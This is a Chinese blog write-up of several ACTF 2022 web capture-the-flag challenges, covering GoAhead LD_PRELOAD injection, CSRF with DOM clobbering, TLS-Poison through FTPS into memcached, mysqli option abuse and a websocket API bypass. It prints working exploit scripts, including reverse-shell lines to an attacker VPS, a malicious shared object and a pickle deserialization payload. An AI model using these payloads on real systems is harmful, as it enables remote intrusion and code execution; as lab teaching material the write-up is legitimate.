ACTF-web-WP&分析记录

上周末的ACTF在web方向的题目质量还是很高的,同时出现了两个之前比赛不怎么常用的漏洞利用点也是很值得ctfer学习和复现的

ACTF-web-WP&分析记录

image-20220630191904114

​ 上周末的ACTF在web方向的题目质量还是很高的(至少对我这个caiji来说),同时出现了两个之前比赛不怎么常用的漏洞利用点,还是很值得学习的,一个是TLS的会话复用(HTTPS和FTPS均可,在这次比赛用的是FTPS),还有一个点那就是通过mysql的配置加载插件,然后插件提权进行RCE

gogogo

题目描述

  1. ACTF warmup
  2. http://123.60.84.229:10218
  3. docker retstart every 10 minutes!

看一下dockerfile:

image-20220630181313802

可以看到从github项目下载了goahead服务,同时在cgi-bin接口/htllo

image-20220630181500369

访问一下/cgi-bin/hello

image-20220630181617858

可以看到返回了env命令的执行返回结果,到这里,题目的环境也就了解完了,漏洞点在哪里呢?

这个如果看过p神的文章:GoAhead环境变量注入复现踩坑记那对这个题就不会陌生了,可以看到题目的dockerfile和p神文章中的dockerfile可以说是如出一辙了

image-20220630181901575

那么要怎么样利用漏洞解题,看过文章之后可以知道有以下漏洞点:

  1. 该环境的goahead服务会将我们form表单传入的数据键值对设置为环境变量
  2. /proc/self/fd/xxx这个指针指向我们上传的临时文件

这时候就要用到一个环境变量了:LD_PRELOAD

LD_PRELOAD的作用和用法可以参考这两篇文章:原理参考 ,使用方法

最后我们传输一个form表单,设置LD_PRELOAD=/proc/self/fd/6-20(多线程)

  1. import os
  2. import threading
  4. payload="""
  5. #include <stdlib.h>
  6. #include <string.h>
  7. __attribute__ ((constructor)) void call ()
  8. {
  9.     unsetenv("LD_PRELOAD");
  10.     char str[65536];
  12.     system("bash -c 'exec bash -i &amp;>/dev/tcp/vps/4444 <&amp;1'");
  14.     system("cat /flag > /var/www/html/flag");
  15. }
  16. """
  17. f=open("payload.c","w")
  18. f.write(payload)
  19. f.close()
  20. def cmdcommand(cmd,pid):
  21.     while 1:
  22.         print("-"*100,pid)
  23.         os.system(cmd)
  25. _pid=int(input("pid#"))
  26. for i in range(10):
  27.     pid=_pid+i
  28.     cmd = "gcc -shared -fPIC ./payload.c -o payload.so;curl -v -F data=@payload.so -F 'LD_PRELOAD=/proc/self/fd/%d' http://123.60.84.229:10218/cgi-bin/hello" % pid
  29.     threading.Thread(target=cmdcommand,args=(cmd,pid,)).start()

先nc监听我们自己的vps的4444端口,然后运行python脚本对上传的so文件进行加载之后就会反弹shell到我们的vps上

如果失败了就微调一下pid即可,拿到shell之后执行cat /flag获取flag

image-20220630183904064

image-20220630183725251

beWhatYouWannaBe

题目描述

  1. “doctor, actor, lawyer or a singer
  2. why not president, be a dreamer
  3. You can be just the one you wanna be.”
  5. http://124.71.180.254:10022
  6. It is recommended to test locally first.
  7. Chrome’s processes will be cleaned up every 2 minutes to avoid take up too much memory.
  8. Attachment is updated[2022-06-26 2:10 UTC+8] for stable exploitation.

题目可利用点只有一个:admin用户的CSRF

有两段flag:

  1. 一段需要成为admin类型的用户后直接访问/flag获取
  2. 需要CSRF让admin用户访问页面后从页面获取元素满足fff.lll.aaa.ggg.value == "this_is_what_i_want"然后就会带着flag再次访问传入的url

image-20220630184551625

第一部分的flag获取检验的admin身份并不是必须为用户名为admin的用户,我们是可以通过/beAdmin接口让自己的账号变为一个”admin账户”,但是想要成为admin用户需要满足当前的tocken验证(这个tocken是通过当前时间戳获取的),写一个help.heml:

  2. <html>
  3.   <body>
  4.     <form name=loginform action="http://127.0.0.1:8000/beAdmin" method="POST" target="_blank">
  5.       <input type="hidden" name="username" value="admin" />
  6.       <input type="hidden" name="password" value="123456" />
  7.       <input type="hidden" name="csrftoken" value="tocken" />
  8.     <input type="submit" value="Submit request" />
  9.     </form>
  10.     <iframe name=ifname src="/" frameborder="0"></iframe>>
  11.       <script >
  12. for(var i=1;i<1000;i++){
  13.         var flagtext;
  14.         var myRequest = new Request('/getToken');//该接口我们自己实现
  15.         fetch(myRequest).then(function(response) {
  16.           return response.text().then(function(text) {
  17.             document.loginform.username.value = 'admint';
  18.             document.loginform.password.value = 'admint';
  19.             document.loginform.csrftoken.value = text;
  20.             console.log(document.loginform.username.value,document.loginform.password.value,document.loginform.csrftoken.value);
  21.             document.loginform.submit();
  22.           });
  23.         });
  24. }
  25.       </script>
  26.   </body>
  28. </html>

生成tocken的关键代码如下:

  1. import hashlib
  2. import math
  3. import time
  5. def encode():
  6.     s = str(time.time_ns())[:-6:]
  7.     f = int(s) / 1000
  8.     sin = math.sin(f)
  9.     text=sin
  10.     sha = hashlib.sha256()  # Get the hash algorithm.
  11.     sha.update(str(text).encode())  # Hash the data.
  12.     b = sha.hexdigest()  # Get he hash value.
  13.     print(s,f,sin,b)
  14.     return b

之后多次尝试直到自己的账号变为admin账户后去访问、flag可以获得第一段flag

看一下第二部分flag获取的代码逻辑:

image-20220630185100950

之后通过定义标签属性name=fff从而使得nodejs后台获得的fff为该标签对象

至于去标签的lll.aaa.ggg的过程有两种解决方法:

  1. 方法一是通过逐个页面定义获取属性值最后得到this_is_what_i_want
  1. 1. 1.html定义一个`name=fff`的iframe标签,直接添加src为含有`name=lll`子标签的的下一个html页面2.html
  3.     ```html
  4.     <html>
  5.       <!-- 1.html -->
  6.       <iframe name=fff src="2.html">
  7.     </html>
  8.     ```
  9. 2. 2.html页面中定义一个标签`name=lll`的标签,指向含有`name=ggg`的3.html
  11.     ```html
  12.     <html>
  13.       <!-- 2.html -->
  14.       <iframe name=lll src="3.html">
  15.     </html>
  16.     ```
  17. 3. 3.html中可以获取到aaa.ggg,它的值就是`this_is_what_i_want`
  19.     ```html
  20.     <html>
  21.        <!-- 3.html -->
  22.        <form id=aaa>
  23.           <input name="ggg" type="submit" value="this_is_what_i_want"/>
  24.       </form>
  25.     </html>
  26.     ```
  27. 4. 最后将这三个html放到vps下,让admin进行访问http://vps:port/1.html即可
  28. 5. 查看http://vps:port的访问记录即可获得admin携带flag访问的请求
  1. 此外还可以直接将全部iframe写到iframe属性srcdoc中

ToLeSion

题目描述

  1. “亲爱的actfer：
  2. 见字如晤！我在火热的杭州，希望你们可以快点AK web题，然后与我们相遇。
  3. 因为我们真的很羡慕你的才华，你是我探索ctf世界的动力，是我肾上腺素飙升的催化剂！
  4. 让我帮你看看那天空中挥舞着的旗帜，然后下来告诉你上面的风景有多美，上面的空气有多清新
  5. ，上面的风有多温柔！期待与你们的相遇！爱你们的lesion～”
  6. http://123.60.131.135:10023

这题涉及到了TLS的会话复用,首先可以去看这篇文章了解一下FTPS如何通过隐式连接完成会话复用: TLS-Poison 攻击方式在 CTF 中的利用实践

源码如下:

  1. from flask import Flask, request, redirect
  2. from flask_session import Session
  3. from io import BytesIO
  4. import memcache
  5. import pycurl
  6. import random
  7. import string
  9. app = Flask(__name__)
  10. app.debug = True
  11. app.secret_key = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(56))
  13. app.config['SESSION_TYPE'] = 'memcached'
  14. app.config['SESSION_PERMANENT'] = True# 如果设置为True，则关闭浏览器session就失效。
  15. app.config['SESSION_USE_SIGNER'] = False# 是否对发送到浏览器上session的cookie值进行加密
  16. app.config['SESSION_KEY_PREFIX'] = 'actfSession:'# 保存到session中的值的前缀
  17. app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200'])# 用于连接memcached的配置
  19. Session(app)
  21. @app.route('/')
  22. def index():
  23.     buffer=BytesIO()
  24.     if request.args.get('url'):
  25.         url = request.args.get('url')
  26.         c = pycurl.Curl()
  27.         c.setopt(c.URL, url)
  28.         c.setopt(c.FTP_SKIP_PASV_IP, 0)
  29.         c.setopt(c.WRITEDATA, buffer)
  30.         blacklist = [c.PROTO_DICT, c.PROTO_FILE, c.PROTO_FTP, c.PROTO_GOPHER, c.PROTO_HTTPS, c.PROTO_IMAP, c.PROTO_IMAPS, c.PROTO_LDAP, c.PROTO_LDAPS, c.PROTO_POP3, c.PROTO_POP3S, c.PROTO_RTMP, c.PROTO_RTSP, c.PROTO_SCP, c.PROTO_SFTP, c.PROTO_SMB, c.PROTO_SMBS, c.PROTO_SMTP, c.PROTO_SMTPS, c.PROTO_TELNET, c.PROTO_TFTP]
  31.         allowProtos = c.PROTO_ALL
  32.         for proto in blacklist:
  33.             allowProtos = allowProtos&amp;~(proto)
  34.         c.setopt(c.PROTOCOLS, allowProtos)
  35.         c.perform()
  36.         c.close()
  37.         return buffer.getvalue().decode('utf-8')
  38.     else:
  39.         return redirect('?url=http://www.baidu.com',code=301)
  41. if __name__ == '__main__':
  42.     app.run(host='0.0.0.0', debug=False)

可以看到session是通过一个mencached服务存储的(python对mencached中存入和取出的数据会进行序列化和反序列化):

image-20220630193357278

只有一个curl的请求功能,而且能用的只剩下HTTP和FTPS这两个协议,最后将buffer中的数据取出后进行UTF-8解码后返回

image-20220630193417189

涉及知识点:

  1. TLS的会话复用
  2. python在mencached中存储信息的方式
  3. 域名解析证书的使用
  4. FTPS数据传输功能的实现

先简单看一下FTPS的连接过程:

image-20220630185454121

左侧为FTPS的隐式连接方式,右侧为FTPS的显示连接方式,我们默认下使用的是隐式连接

这里TLS会话复用主要就出现在PASV命令工作的时候:

  1. FTPS会话连接建立
  2. 让客户端进行登录
  3. 告诉客户端登陆成功
  4. 开始执行命令交互(从这里开始重要了)
  5. 客户端发出命令想要从FTPS服务端获取资源
  6. server返回传输资源的ip和端口(我们将这个ip:port指定为mencached的服务地址和端口,PASV的作用就在这时候体现)
  7. client和sever指定的ip:port进行连接(向mencached发送数据包)
  8. client进行接收资源数据的准备工作,完成后告知sever已经完成准备
  9. server收到准备完成的消息后告知client连接建立完成,开始传输数据
  10. 进行数据传输
  11. 数据传输结束,关闭连接

主要坑点:

  1. 需要注意使用正确的DNS证书
  2. 需要修改FTPS实现过程中的返回数据
  3. 需要自己计算一下11200=256*43+192(这是FTPS进行会话复用时的连接端口)
  4. mencached语句正确使用(set 键名 标识 数据长度 存储时间)回车()

解题主要用到的就是ZeddYu师傅在上文连接中提到的EXP工具,简单说一下这个工具的作用:

  1. 指定证书进行TLS连接并将将TLS上层流量转发到 2048 端口,然后我们在2048端口实现一个FTPS的服务流程(就是指定发出一些FTPS连接过程中命令执行的返回数据)
  2. 从redis服务中从payload键值对的值作为FTPS会话复用的时候需要执行的memcached命令

该脚本主要从Practice1-hxp2020/solution2/exp.py修改得到

  1. #i
  2. import os
  3. import pickle
  4. import socketserver
  5. import sys
  7. import redis
  8. class Test2(object):
  9.     def __reduce__(self):
  10.         #被调用函数的参数
  11.         cmd = f"bash -c 'exec bash -i &amp;>/dev/tcp/{sys.argv[2]}/{sys.argv[3]} <&amp;1'"
  12.         return (os.system,(cmd,))
  13. pickle_code=pickle.dumps(Test2())
  14. print(pickle_code)
  15. length=len(pickle_code)
  16. payload=b"\r\nset actfSession:admint 0 0 "+str(len(pickle_code)).encode()+b"\r\n"+pickle_code+b"\r\n"
  17. def set_payload(payload):
  18.     r = redis.Redis(host='127.0.0.1', port=6379, db=0)
  19.     print('payload len: ', len(payload), file=sys.stderr)
  20.     r.set('payload', payload)
  21.     return payload
  23. print("设置的sessionid为:",set_payload(payload))
  24. print("payload长度为:",len(payload))
  26. class MyTCPHandler(socketserver.StreamRequestHandler):
  27.     def handle(self):
  28.         print(0,'[+] connected', self.request, file=sys.stderr)
  29.         self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
  31.         self.data = self.rfile.readline().strip().decode()
  32.         print(1,self.data, file=sys.stderr,flush=True)
  33.         self.request.sendall(b'230 Login successful.\r\n')
  35.         self.data = self.rfile.readline().strip().decode()
  36.         print(2,self.data, file=sys.stderr)
  37.         self.request.sendall(b'227 yolo\r\n')
  39.         self.data = self.rfile.readline().strip().decode()
  40.         print(3,self.data, file=sys.stderr)
  41.         self.request.sendall(b'227 yolo\r\n')
  43.         self.data = self.rfile.readline().strip().decode()
  44.         print(4,self.data, file=sys.stderr)
  45.         self.request.sendall(b'257 "/" is the current directory\r\n')
  46. # vps:importlib/a/b
  47. #         self.data = self.rfile.readline().strip().decode()
  48. #         print(5,self.data, file=sys.stderr)
  49. #         self.request.sendall(b'250 Directory successfully changed.\r\n')
  50. #
  51. #         self.data = self.rfile.readline().strip().decode()
  52. #         print(6,self.data, file=sys.stderr)
  53. #         self.request.sendall(b'250 Directory successfully changed.\r\n')
  55.         self.data = self.rfile.readline().strip().decode()
  56.         print(7,self.data, file=sys.stderr)
  57.         self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
  59.         self.data = self.rfile.readline().strip().decode()
  60.         print(8,self.data, file=sys.stderr)
  61.         # (47,99,70,18,43,203) 47.99.70.18：11211        # (127,0,0,1,43,0) 11008
  63.         self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
  64.         self.data = self.rfile.readline().strip().decode()
  65.         print(9,self.data, file=sys.stderr)
  66.         self.request.sendall(b'200 Switching to Binary mode.\r\n')
  67.         # self.data = self.rfile.readline().strip().decode()
  68.         # # assert 'SIZE refs' == self.data, self.data
  69.         # self.finish()
  70.         # print(10,self.data, file=sys.stderr)
  71.         self.request.sendall(b'213 7\r\n')
  72.         self.data = self.rfile.readline().strip().decode()
  73.         print(self.data, file=sys.stderr)
  74.         self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
  75.         self.data = self.rfile.readline().strip().decode()
  76.         print(self.data, file=sys.stderr)
  77.         self.request.sendall(b'250 Requested file action okay, completed.')
  78.         print("DIE.....")
  79.         # exit()
  81. print("使用端口:",sys.argv[1])
  83. with socketserver.TCPServer(('0.0.0.0', int(sys.argv[1])), MyTCPHandler) as server:
  84.     while True:
  85.         print("start...")
  86.         server.handle_request()
  87.         open("stop", "w").write("OK")
  88.         print("END....")
  89.         # exit()

获取域名证书(我这里是腾讯云的SSL证书):

image-20220629193723351

image-20220629193742827

image-20220629193801411

image-20220629194037111

然后将图中的key和bundle.pem分别写入文件key.pem和cert.pem

执行命令:

使用上层流量转发工具

  1. wget https://github.com/ZeddYu/TLS-poison/archive/refs/heads/master.zip
  2. unzip TLS-poison-master.zip
  3. TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11212 --certs cert.pem --key key.pem --verbose forward 2048

开启处理FTPS服务

  1. python3 tls.py 2048 vps 4444

nc监听等待反弹shell:

  1. nc -vlp 4444

开启上面服务之后访问/?url=ftps://DNSname:11212/a

image-20220629200149605

然后我们可以在python服务中看到消息发送情况(注意,我们需要完成整个):

image-20220629230905117

到此我们反弹shell的pythonc序列化数据已经存入了mencached中了,只要我们使用对应的sessionid那么python就会取出mencache中存储的数据进行反序列化

将cookie中的sessionid修改为我们设置的以actfSession:开头的id:actfSession:admint,然后对页面进行刷新,此时可以看到成功反弹shell到我们的服务器

image-20220629201125771

执行/readflag获取flag

image-20220629201208886

ACTF{GO0d_jo6_y0u_Ar3_G0od_At_Tl3_p0i30n}

myclient

题目描述

  1. A cute mysql here, try to exploit it!
  2. http://124.71.205.170:10047
  4. The /tmp of the remote environment is fixed and does not require sql injection
  5. The directory is cleaned every five minutes
  6. It is recommended to test locally first
  8. 远程的环境的/tmp是固定的，不需要sql注入
  9. /tmp目录每五分钟清理一次
  10. 建议先测试本地

源码不多,就是通过mysqli_options设置mysqli的连接配置(注意,设置的是mysqli连接的客户端的而不是mysql服务端的配置)

  1. <?php
  2.     $con = mysqli_init();
  3.     $key = $_GET['key'];
  4.     $value = $_GET['value'];
  5.     if(strlen($value) > 1500){
  6.         die('too long');
  7.     }
  8.     if (is_numeric($key) &amp;&amp; is_string($value)) {
  9.         mysqli_options($con, $key, $value);
  10.     }
  12. mysqli_options($con,MYSQLI_READ_DEFAULT_FILE, "./1.cnf");
  13. //    MYSQLI_READ_DEFAULT_GROUP 5        MYSQLI_INIT_COMMAND   3
  15.     mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
  16.     if (!mysqli_real_connect($con, "127.0.0.1", "root", "123456", "mysql")) {
  17.         $content = 'connect failed';
  18.     } else {
  19.         $content = 'connect success';
  20.     }
  21. echo $content;
  22.     $end=$con->query("SHOW GLOBAL VARIABLES like '%character%'");
  23.     var_dump($end->fetch_array());
  24.     mysqli_close($con);
  26. ?>

image-20220629204851547

首先我们看dockefile和start.sh以及index.php可知我们使用的用户是test用户而不是root用户,并且我们只有select和FILE权限(也就是可以查询数据和将数据写入/tmpe1…3e下的任意文件下)

看一下mysqli::options函数:

image-20220629204325527

第二个参数我们能配置的选项和功能有:

image-20220629204413139

对我们解题可以关注以下配置:

  1. MYSQLI_OPT_LOCAL_INFILE 启用或禁用 LOAD LOCAL INFILE 语句
  2. MYSQLI_INIT_COMMAND 从指定的文件中读取选项，而不是使用 my.cnf 中的选项
  3. MYSQLI_READ_DEFAULT_FILE    从指定的文件中读取选项，而不是使用 my.cnf 中的选项
  4. MYSQLI_READ_DEFAULT_GROUP   从 my.cnf 或者 MYSQL_READ_DEFAULT_FILE 指定的文件中 读取指定的组中的选项。

在这里我们主要用到了以下两个配置:

  1. MYSQLI_INIT_COMMAND 进行数据查询和文件组合
  2. MYSQLI_READ_DEFAULT_FILE 指定配置文件和导入配置选项

插件代码的构造可参考这篇文章: 传送门:MySQL 插件详解

poorui

题目描述

  1. Chatting with each other!
  2. Attachment is update’d at 2022-06-26 11:34 (UTC+8)
  3. http://124.71.181.238:8081/

以下应该为非预期解,预期解应该是先通过代码审计发现后台在编译模板的时候用了旧版本的lodash,从而导致原型链产生,然后我们通过修改属性is=”abc”和onanimationstart=”JS_code”进行xss,修改发送出去的msg中的api获取flag,但是我们这里只说一下非预期的解法

可以直接使用ws协议传输api为getflag的payload获取flag(可以写一个js使用WebSocket对象连接ws也可以像下面一样直接抓包):

先使用admin用户名登录

image-20220629195046224

然后对自己(admin)随意发送一些数据:

image-20220629195123171

这时在发送信息之前先打开抓包,可以看到进行了websocket的同通信,并且api为sendmsg,我们可以直接修改api

image-20220629194822105

将sendmsg改为getflag

  1. {"api":"sendmsg","to":"admin","msg":{"type":"text","data":"a"}}
  2. {"api":"getflag","to":"admin","msg":{"type":"text","data":"a"}}

放开请求后可以直接获得flag(前提是要以admin登录)

image-20220630160444550

</body></html>

  • 发表于 2022-07-08 09:32:50
  • 阅读 ( 6730 )
  • 分类：其他

0 条评论

markin
markin

10 篇文章

markin

如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！

站长统计